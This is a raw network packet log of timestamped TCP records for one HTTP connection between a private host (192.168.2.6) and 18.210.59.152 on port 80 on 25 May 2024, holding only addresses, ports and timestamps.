May 25, 2024 00:45:23.781327009 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.781908989 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.781943083 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.781975985 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.781995058 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.782540083 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.782573938 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.782593966 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.782608032 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.782656908 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.783293009 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.783328056 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.783359051 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.783377886 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.784090996 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.784126043 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.784157991 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.784161091 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.784193039 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.784208059 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.784898043 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.784933090 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.784950972 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.784965992 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.785015106 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.785681963 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.785716057 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.785748005 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.785767078 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.786618948 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.786653996 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.786676884 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.786685944 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.786720037 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.786735058 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.787385941 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.787420988 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.787439108 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.787452936 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.787511110 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.788166046 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.788199902 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.788230896 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.788250923 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.788963079 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.788996935 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789020061 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.789027929 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789062977 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789076090 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.789746046 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789782047 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789799929 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.789813995 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789846897 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.789861917 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.790705919 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.790739059 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.790759087 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.790771008 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.790803909 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.790818930 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.790836096 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.790884018 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.791766882 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.791800022 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.791831970 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.791851044 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.791863918 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.791912079 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.792656898 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.792691946 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.792723894 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.792738914 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.792757034 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.792804956 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.793560982 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.793593884 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.793626070 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.793654919 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.793658018 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.793690920 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.793704987 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.794477940 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.794527054 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.794548988 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.794560909 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.794594049 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.794610023 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.795331001 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795365095 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795386076 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.795397043 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795447111 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.795775890 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795808077 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795841932 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795866013 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.795876026 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.795927048 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.796775103 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.796808958 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.796840906 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.796861887 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.797224998 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.797281027 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.797492027 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.797525883 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.797557116 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.797578096 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.797590017 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.797624111 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.797657013 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.798320055 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.798352957 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.798372030 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.798384905 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.798417091 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.798435926 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.800049067 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.800081968 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.800101042 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.850302935 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.850483894 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.869926929 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.869966030 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.870017052 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.870115995 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.870151043 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.870182991 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.870191097 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.870745897 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.870805979 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.871067047 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871100903 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871129990 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871150970 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.871160984 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871193886 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871208906 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.871227026 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871260881 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871277094 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.871825933 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.871881008 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.872124910 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.872158051 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.872190952 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.872224092 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.872231960 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.872256041 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.872287989 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.872994900 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873028994 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873049974 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.873060942 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873094082 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873125076 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873130083 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.873187065 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.873868942 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873903036 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873935938 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.873955965 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.873966932 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.874013901 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.874897003 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.874932051 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.874965906 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.874996901 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.874998093 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.875030994 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.875051022 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.879741907 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879775047 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879806995 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879812956 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.879841089 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879867077 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.879873991 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879906893 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879928112 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.879940033 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879972935 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.879988909 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.880003929 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.880036116 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.880055904 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.880068064 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.880100965 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.880120993 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.880132914 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.880166054 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.880183935 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887228012 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887278080 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887290001 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887310028 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887341976 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887358904 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887373924 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887406111 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887420893 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887440920 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887473106 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887490988 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887505054 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887537003 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887551069 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887568951 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887600899 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887615919 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887635946 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887684107 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887684107 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887717009 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887749910 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887764931 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887782097 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887814999 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887825012 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887904882 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887938976 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.887953997 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.887972116 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888003111 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888020039 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.888725996 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888760090 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888782978 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.888792038 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888824940 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888840914 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.888858080 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888890028 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.888905048 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.889444113 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.889477015 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.889497995 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.889508963 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.889540911 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.889554977 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.889574051 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.889621973 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.890337944 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.890392065 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.890424013 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.890444994 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.890458107 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.890506983 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.890515089 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.890547991 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.890597105 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.891271114 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.891307116 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.891340017 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.891355038 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.891374111 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.891406059 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.891422033 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.891439915 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.891488075 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.892209053 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.892241955 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.892273903 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.892291069 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.892306089 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.892338991 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.892352104 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.893017054 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893052101 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893069029 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.893084049 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893115997 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893132925 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.893147945 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893182039 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893196106 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.893898010 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893929958 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893955946 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.893960953 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.893994093 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.894012928 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.894025087 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.894072056 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.895138025 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.895172119 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.895224094 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.967014074 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967099905 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967135906 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967153072 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.967170000 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967205048 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967215061 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.967788935 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967824936 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967848063 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.967858076 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967890978 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.967910051 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.968704939 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.968739033 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.968759060 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.968772888 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.968821049 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.969099998 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.969132900 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.969166040 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.969193935 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.969197989 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.969248056 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.969959021 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.969993114 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970025063 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970047951 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.970057964 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970089912 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970107079 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.970894098 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970927954 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970954895 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.970958948 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.970992088 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.971008062 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.971730947 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.971765041 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.971791029 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.971797943 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.971832037 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.971847057 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.972637892 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.972672939 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.972703934 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.972707033 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.972735882 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.972760916 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.972768068 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.972819090 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.974139929 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974174023 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974206924 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974232912 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.974241018 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974289894 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.974838018 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974872112 CEST	80	49704	18.210.59.152	192.168.2.6
